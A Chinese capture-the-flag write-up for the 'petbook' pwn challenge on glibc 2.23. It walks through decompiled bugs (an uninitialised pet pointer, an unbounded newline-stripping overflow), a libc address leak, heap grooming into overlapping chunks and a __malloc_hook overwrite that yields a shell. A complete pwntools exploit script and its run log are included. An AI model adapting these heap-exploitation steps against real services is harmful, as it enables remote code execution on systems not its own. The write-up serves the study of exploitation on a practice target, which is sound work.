本题原本有简单的方法,但是刚开始我没发现,所以用的方法比较复杂。
原题地址:https://hackme.inndy.tw/scoreboard/ 。 靶机环境是 glibc-2.23 。
源程序和相关文件下载:http://file.eonew.cn/ctf/pwn/petbook.zip 。
目录
更快的方法
我先介绍来自pwn大佬carlstar
的思路。
溢出点
void __fastcall user_create(char *username, char *password)
{
User *v2; // rbp
if ( user_find_by_name(username) )
{
__printf_chk(1LL, "User %s existed!\n", username);
}
else
{
v2 = (User *)malloc(0x218uLL);
v2->uid = uid();
strncpy(v2->username, username, 0x100uLL);
strncpy(v2->password, password, 0x100uLL);
v2->admin = 0;
link_insert((link_list *)&userdb, (Post *)v2);
puts("User created");
}
}
user_create
时没有初始化pet
,可以用污染的chunk来设置pet
,从而通过下面的代码实现任意读。
int user_loop()
{
User *v0; // rbx
const char *v1; // rdx
unsigned int v2; // eax
const char *v3; // rdx
Pet *v4; // rax
signed int v5; // eax
v0 = current_user;
if ( (magic ^ current_user->uid) & 0xFFFF0000 )
{
puts("corrupted object detected");
exit(1);
}
puts(asc_401E7C);
__printf_chk(1LL, "= Username: %s\n", v0->username);
puts("= Password: ****************");
v1 = "false";
if ( v0->admin )
v1 = "true";
__printf_chk(1LL, &unk_401EC7, v1);
v2 = link_count(&v0->post.next->next);
__printf_chk(1LL, "= Post Cnt: %d\n", v2);
v3 = "No";
if ( v0->pet )
v3 = "Yes";
__printf_chk(1LL, &unk_401EE7, v3);
v4 = v0->pet;
if ( v4 )
{
__printf_chk(1LL, "= Pet Name: %s\n", v4->name);
__printf_chk(1LL, "= Pet Type: %s\n", v0->pet->type);
}
...
}
之后泄露出magic之后,利用pet_rename
实现任意写。
void __cdecl pet_rename()
{
User *v0; // rbx
Pet *v1; // rdx
v0 = current_user;
if ( (current_user->uid ^ magic) & 0xFFFF0000 )
{
puts("corrupted object detected");
exit(1);
}
v1 = current_user->pet;
if ( v1 )
{
if ( (LODWORD(v1->uid) ^ magic) & 0xFFFF0000 )
{
puts("corrupted object detected");
exit(1);
}
puts("Name your pet >>");
read_data((char *)v0->pet->name, 16LL);
stripnl((const char *)v0->pet->name);
}
else
{
puts("You don't have a pet");
}
}
笨方法
这个是我自己做的,方法比较笨。
溢出点
char *__fastcall stripnl(const char *a1)
{
char *v1; // rax
if ( !a1 )
return 0LL;
v1 = strchr(a1, '\n');
if ( v1 )
*v1 = 0;
return (char *)a1;
}
stripnl
字符串可以将字符串后面字节为0x0a
改为0x00
,但是该函数,没有限制长度,所以存在溢出。
void __fastcall read_data(char *buf, __int64 length)
{
__int64 v2; // rbx
int v3; // eax
if ( length )
{
v2 = 0LL;
while ( 1 )
{
v3 = _IO_getc(stdin);
if ( v3 == 10 || v3 == -1 )
break;
buf[++v2 - 1] = v3;
if ( length == v2 )
return;
}
buf[v2] = 0;
}
}
read_data
函数虽然为了null
截断做了很好的防护,但是当输入的字符串长度为length
,就没有办法null
截断,因为没有null
截断,我们可以读取到后面的内容。
思路
- 泄露libc
- 构造heap布局
- 劫持hook
泄露libc
New(0x160, 'hello\n') # 2
edit(2, 0x200, '0x200\n')
New(8, 'dddddddd') # 3
sh.sendlineafter(' >>\n', '2')
sh.recvuntil('dddddddd')
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x3c3b20
log.success('libc_addr: ' + hex(libc_addr))
由于edit
函数内部用的是realloc
,所以申请的0x160
chunk就会被free
到unsorted bin
中,那么自然会有main_arena
指针残余,我们只要让输入的内容不被null
截断即可泄露出该地址,那么只需要把New
的size
设置为8
则正好。
构造heap布局
这个就比较复杂了,用到的是stripnl
函数的没有长度限制的漏洞。最终效果是chunk overlapping
。
先看看Post
的布局:
00000000 Post struc ; (sizeof=0x110, mappedto_7)
00000000 uid dd ?
00000004 title db 256 dup(?)
00000104 field_104 dd ?
00000108 content dq ?
00000110 Post ends
在user_edit_post
中,会对post->title
进行stripnl
操作,而该操作会影响到post->content
指针,该指针指向heap
。
int user_edit_post()
{
...
puts("New title >>");
read_data(v3->title, 256LL);
stripnl(v3->title);
...
}
所以我们可以通过使用污染的chunk
来使得post->field_104
的值不为空,那么stripnl
函数便可以修改到post->content
。
当post->content
指向的heap地址的为0x.......0a..
时(点为任意十六进制),则在stripnl
操作中就会被修改为0x.......00..
。所以我们只需要提前在这个地址布置好heap结构即可。
New(0x118, 'e' * 0x118) # 4
New(0x18, '\n') # 5
New(0x18, '\n') # 6
New(0x18, '\n') # 7
New(0x18, '\n') # 8
New(0x1f8, 'f' * 0x18 + p64(0x1e1) + '\n') # 9
上面脚本中,第9个
就是布置地址为0x.......0020
的fake chunk
的size
。
edit(5, 0xf8, '\n')
edit(6, 0x58, '\n')
edit(7, 0x98, '\n')
edit(8, 0xf8, '\n')
edit(4, 0x4f0, '\n')
# pause()
New(0x68, '0x68\n') # 10
edit(10, 0x208, '\n')
通过上面一系列的布局之后,则使得第10个post
的content
地址则刚好为0x........a20
,受随机话影响,当地址为0x.......0a20
则会导致溢出,所以几率是1/16
。
下面是调试结果:
Breakpoint 1, 0x0000000000400c84 in stripnl ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────
RAX 0x100
RBX 0xf4f830 ◂— 0x6363636308a8000a /* '\n' */
RCX 0x7f745b87a790 (_IO_stdfile_0_lock) ◂— 0x0
RDX 0x63
RDI 0xf4f834 ◂— 0x6363636363636363 ('cccccccc')
...
Breakpoint stripnl
pwndbg> x/48gx 0xf4f820
0xf4f820: 0x0000000000000000 0x0000000000000121
0xf4f830: 0x6363636308a8000a 0x6363636363636363
0xf4f840: 0x6363636363636363 0x6363636363636363
0xf4f850: 0x6363636363636363 0x6363636363636363
0xf4f860: 0x6363636363636363 0x6363636363636363
0xf4f870: 0x6363636363636363 0x6363636363636363
0xf4f880: 0x6363636363636363 0x6363636363636363
0xf4f890: 0x6363636363636363 0x6363636363636363
0xf4f8a0: 0x6363636363636363 0x6363636363636363
0xf4f8b0: 0x6363636363636363 0x6363636363636363
0xf4f8c0: 0x6363636363636363 0x6363636363636363
0xf4f8d0: 0x6363636363636363 0x6363636363636363
0xf4f8e0: 0x6363636363636363 0x6363636363636363
0xf4f8f0: 0x6363636363636363 0x6363636363636363
0xf4f900: 0x6363636363636363 0x6363636363636363
0xf4f910: 0x6363636363636363 0x6363636363636363
0xf4f920: 0x6363636363636363 0x6363636363636363
0xf4f930: 0x6565656563636363 0x0000000000f50a30
0xf4f940: 0x0000000000000120 0x0000000000000021
0xf4f950: 0x0000000000f4f4b0 0x0000000000f4f710
0xf4f960: 0x0000000000000000 0x0000000000000121
0xf4f970: 0x6363636308a80005 0x6363636363636363
0xf4f980: 0x6363636363636363 0x6363636363636363
0xf4f990: 0x6363636363636363 0x6363636363636363
上面的调试信息结果已经很明显了,rdi
(第一个参数)为0xf4f834
,由于没有null
截断,最终将修改0xf4f930 + 8
上的0x0000000000f50a30
为0x0000000000f50030
(post->content指针)。
在看看0x0000000000f50030
地址的情况,由于之前我们已经布置好了栈结构,所以这里会chunk overlap
。
其布局如下:
pwndbg> x/16gx 0x0000000000f50030-0x30
0xf50000: 0x0000000000000000 0x0000000000000201
0xf50010: 0x6666666666666666 0x6666666666666666
0xf50020: 0x6666666666666666 0x00000000000001e1
0xf50030: 0x0000000000000000 0x0000000000000000
0xf50040: 0x0000000000000000 0x0000000000000000
0xf50050: 0x0000000000000000 0x0000000000000000
0xf50060: 0x0000000000000000 0x0000000000000000
0xf50070: 0x0000000000000000 0x0000000000000000
最后就是通常的劫持hook操作。
完整脚本
受随机化影响,概率是1/16
。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
void my_init(void) __attribute__((constructor));
void my_init()
{
long long p = (long long)malloc(0xf8);
free((char *)p);
if((p & 0xf000) != 0xf000)
{
exit(-1);
}
}
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './petbook'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('hackme.inndy.tw', 7710)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
# b *0x400F89
b stripnl
# b malloc
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def New(size, content):
sh.sendlineafter(' >>\n', '1')
sh.sendafter('Title >>\n', 'c' * 256)
sh.sendlineafter('Content Length >>\n', str(size))
sh.sendafter('Content >>\n', content)
def edit(id, size, content):
sh.sendlineafter(' >>\n', '3')
sh.sendlineafter('Post id >>\n', str(id))
sh.sendafter('New title >>\n', 'c' * 256)
sh.sendlineafter('New content size >>\n', str(size))
sh.sendafter('New Content >>\n', content)
# pause()
sh.sendlineafter(' >>\n', '1')
sh.sendlineafter('Username >>\n', '1' * 20 + p64(0x61))
sh.sendlineafter('Password >>\n', '1')
sh.sendlineafter(' >>\n', '2')
sh.sendlineafter('Username >>\n', '1' * 20 + p64(0x61))
sh.sendlineafter('Password >>\n', '1')
New(0x160, 'hello\n') # 2
edit(2, 0x200, '0x200\n')
New(8, 'dddddddd') # 3
sh.sendlineafter(' >>\n', '2')
sh.recvuntil('dddddddd')
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - libc.symbols['__malloc_hook'] - 0x10
log.success('libc_addr: ' + hex(libc_addr))
New(0x118, 'e' * 0x118) # 4
New(0x18, '\n') # 5
New(0x18, '\n') # 6
New(0x18, '\n') # 7
New(0x18, '\n') # 8
New(0x1f8, 'f' * 0x18 + p64(0x1e1) + '\n') # 9
edit(5, 0xf8, '\n')
edit(6, 0x58, '\n')
edit(7, 0x98, '\n')
edit(8, 0xf8, '\n')
edit(4, 0x4f0, '\n')
# pause()
New(0x68, '0x68\n') # 10
edit(10, 0x208, '\n')
edit(6, 0x68, '\n')
edit(6, 0x208, '\n')
edit(9, 0x1f8, 'y' * 0x20 + p64(main_arena_addr - 0x33) + '\n')
edit(9, 0x1f8, 'y' * 0x18 + '\x71\0\0\0\n')
New(0x68, '0x68\n') # 11
New(0x68, '/bin/sh\0'.ljust(0xb, 'z') + p64(libc_addr + libc.symbols['system']) + '\n') # 12
# pause()
sh.sendlineafter(' >>\n', '3')
sh.sendlineafter('Post id >>\n', str(12))
sh.sendafter('New title >>\n', 'c' * 256)
sh.sendlineafter('New content size >>\n', str(0x68))
sh.sendline('echo -n hello')
result = sh.recvn(5)
print(result)
if(result != 'hello'):
raise Exception('no shell')
sh.sendline('cat flag')
sh.interactive()
clear()
运行实例
ex@Ex:~/test$ ./exp.sh exp.py
...
times 9
[+] Starting local process './petbook': pid 21975
[*] '/home/ex/test/petbook'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
[*] '/home/ex/test/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] main_arena_addr: 0x7f508231db20
[+] libc_addr: 0x7f5081f5a000
[+] one_gadget: 0x7f5081f9f25a
hello
[*] Switching to interactive mode
cat: flag: No such file or directory
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$